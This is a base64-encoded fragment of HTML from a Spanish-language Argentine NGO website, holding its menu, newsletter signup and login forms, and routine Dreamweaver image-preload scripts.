TWFuZCZhYWN1dGU7IHR1IEMuVi48L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgIHdpZHRoPSI2ImhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTIxX25ldyIgY2xhc3M9ImZvbmRvYm90b24iPkluZm9ybWFjaSZvYWN1dGU7biBkZSBpbnRlciZlYWN1dGU7czwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgYmFja2dyb3VuZD0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyI+PGltZyBzcmM9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciIHdpZHRoPSI2IiBoZWlnaHQ9IjI4IiBhbGlnbj0iYWJzbWlkZGxlIiAvPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xMF80IiBjbGFzcz0iZm9uZG9ib3RvbiI+Q29uZ3Jlc29zCiAgICAgICAgICAgICAgICAgIHkgSm9ybmFkYXM8L2E+PC90ZD4KICA8L3RyPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTkiIGJhY2tncm91bmQ9Ii4uL2ltZy9yZWRpc2Vub18xMS5qcGciID48aW1nIHNyYz0iLi4vaW1nL3JlZGlzZW5vXzExLmpwZyIgd2lkdGg9IjYiIGhlaWdodD0iMjgiIGFsaWduPSJhYnNtaWRkbGUiIC8+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTExIiBjbGFzcz0iZm9uZG9ib3RvbiI+UmVnaXN0cmFjaSZvYWN1dGU7bjwvYT48L3RkPgogIDwvdHI+CiAgICAgICAgICAgCiAgICAgICAgICA8L3RhYmxlPgo8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNSIgdGFyZ2V0PSJfYmxhbmsiPjxicj4KICAgICAgICAgICAgICAgICAgPGltZyBzcmM9ImltZy9iYW5uZXJfZG9uYWNpb25lcy5qcGciIHdpZHRoPSIxNjIiIGhlaWdodD0iMTIwIiBib3JkZXI9IjAiPjxicj4KICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iaW1nL2JvdG9uRm9yby5naWYiIHdpZHRoPSIxNzIiIGhlaWdodD0iMTE3IiBib3JkZXI9IjAiPjwvYT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTY3IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjkiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzAzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iOSIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTQ5IiBiYWNrZ3JvdW5kPSJpbWcvY2hpY29zX3BlcmRpZG9zXzA1LmdpZiI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDUuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMCI+PGltZyBzcmM9ImltZy9jaGljb3NfcGVyZGlkb3NfMDcuZ2lmIiB3aWR0aD0iOSIgaGVpZ2h0PSI5IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMi5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEyLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9InNyYy9pbWdfdXAvMjMwODIwMTIuMS5qcGciIHdpZHRoPSIxNDkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYmFja2dyb3VuZD0iaW1nL2NoaWNvc19wZXJkaWRvc18xMy5naWYiPjxpbWcgc3JjPSJpbWcvY2hpY29zX3BlcmRpZG9zXzEzLmdpZiIgd2lkdGg9IjkiIGhlaWdodD0iMTEiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNi5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iNSIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTcuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xNy5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iI0ZFRTdDRiIgY2xhc3M9InRpdHVsb2hvbWU1Ij48c3Ryb25nPk5pJm50aWxkZTtvcyBwZXJkaWRvczxicj4KICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0yOSIgY2xhc3M9ImJvdG9uIj5bVmVyIG0mYWFjdXRlO3NdPC9hPjwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGJhY2tncm91bmQ9ImltZy9jaGljb3NfcGVyZGlkb3NfMTkuZ2lmIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18xOS5naWYiIHdpZHRoPSI5IiBoZWlnaHQ9IjkiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIj48aW1nIHNyYz0iaW1nL2NoaWNvc19wZXJkaWRvc18yMC5naWYiIHdpZHRoPSIxNjciIGhlaWdodD0iMjUiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4NCgkJCQkNCgkJCQk8Zm9ybSBhY3Rpb249ImluZGV4LnBocD9pZD0xMSIgIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9penExLmpwZyIgd2lkdGg9IjEyIiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9hcnJpYmEuanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNCI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2VzcV9kZXIxLmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjQ4IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMiIgdmFsaWduPSJ0b3AiIGNsYXNzPSJyZWdGb25kbzEiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9penEuanBnIiB3aWR0aD0iMTIiIGhlaWdodD0iMTIiIC8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiI+PHRhYmxlIHdpZHRoPSI5NCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV90aXQuanBnIiB3aWR0aD0iNjYiIGhlaWdodD0iMjMiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSI1MCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJyZWdpc3RyYXJzZSI+SW5ncmVzJmFhY3V0ZTsgDQogICAgICAgICAgICAgIHR1cyBkYXRvcyB5IHJlY2liJmlhY3V0ZTsgbGEgbWVqb3IgaW5mb3JtYWNpJm9hY3V0ZTtuIGEgdHJhdiZlYWN1dGU7cyANCiAgICAgICAgICAgICAgZGUgbnVlc3RybzxzdHJvbmc+IE5ld3NsZXR0ZXI8L3N0cm9uZz4uIDxzdHJvbmc+PHNwYW4gY2xhc3M9ImdyYXRpcyI+R3JhdGlzITwvc3Bhbj48L3N0cm9uZz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9InRyYWJTRUNDSU9OIj5Ob21icmU8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBjbGFzcz0icmVnQ0VMREEiPjxpbnB1dCBuYW1lPSJub21icmUiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0ibm9tYnJlIiAvPjwvdGQ+DQogICAgICAgICAgPC90cj4NCiAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0idHJhYlNFQ0NJT04iPkFwZWxsaWRvPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iYXBlbGxpZG8iIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iYXBlbGxpZG8iIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJ0cmFiU0VDQ0lPTiI+RS1tYWlsPC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InJlZ0NFTERBIj48aW5wdXQgbmFtZT0iZW1haWwiIHR5cGU9InRleHQiIGNsYXNzPSJyZWdDRUxEQWlucHV0IiBpZD0iZW1haWwiIC8+PC90ZD4NCiAgICAgICAgICA8L3RyPg0KICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICA8dGQgY2xhc3M9InRyYWJTRUNDSU9OIj4mbmJzcDs8L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgICAgPHRyPiANCiAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idHJhYlNFQ0NJT04iPjxpbnB1dCB0eXBlPSJpbWFnZSIgc3JjPSJpbWcvcmVnaXN0cmF0ZV9ib3Rvbi5qcGciIHdpZHRoPSIxMTciIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L3RkPg0KICAgICAgICAgIDwvdHI+DQogICAgICAgIDwvdGFibGU+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE0IiB2YWxpZ249InRvcCIgY2xhc3M9InJlZ0ZvbmRvMiI+PGltZyBzcmM9ImltZy9yZWdpc3RyYXRlX2Rlci5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIxNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGVpZ2h0OyBvbnJlc2l6ZT1NTV9yZWxvYWRQYWdlOyB9fQogIGVsc2UgaWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1lbnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsKfQpNTV9yZWxvYWRQYWdlKHRydWUpOwoKZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wCiAgdmFyIGQ9ZG9jdW1lbnQ7IGlmKGQuaW1hZ2VzKXsgaWYoIWQuTU1fcCkgZC5NTV9wPW5ldyBBcnJheSgpOwogICAgdmFyIGksaj1kLk1NX3AubGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5ndGg7IGkrKykKICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319Cn0KLy8tLT4KPC9zY3JpcHQ+CiAgICAgICAgICAgICA8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoJCQkgCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0KI0xheWVyMSB7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCXdpZHRoOjY1MXB4OwoJaGVpZ2h0OjIxOHB4OwoJei1pbmRleDoxOwp9CiNMYXllcjIgewoJcG9zaXRpb246YWJzb2x1dGU7Cgl3aWR0aDoyMDBweDsKCWhlaWdodDoxMTVweDsKCXotaW5kZXg6MTsKCXZpc2liaWxpdHk6IHZpc2libGU7Cn0KLkVzdGlsbzEgewoJZm9udC1zaXplOiAxOHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzIgewoJZm9udC1zaXplOiAxNHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzMge2NvbG9yOiAjNTA2OTkwOyBsaW5lLWhlaWdodDogMTJweDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LWZhbWlseTogVGFob21hO30KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGxlZnRtYXJnaW49IjIiIG1hcmdpbndpZHRoPSIyIj4KPHRhYmxlIHdpZHRoPSI2MDgiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMiUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzA3LmpwZyIgd2lkdGg9IjI0IiBoZWlnaHQ9IjE0IiAvPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI5MCUiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18wNy5qcGciPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI4JSIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGNvbHNwYW49IjQiPjxiciAvPgogICAgICA8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIyJSI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgICA8dGQgd2lkdGg9IjkzJSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CjwhLS0gSU5JQ0lPIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgI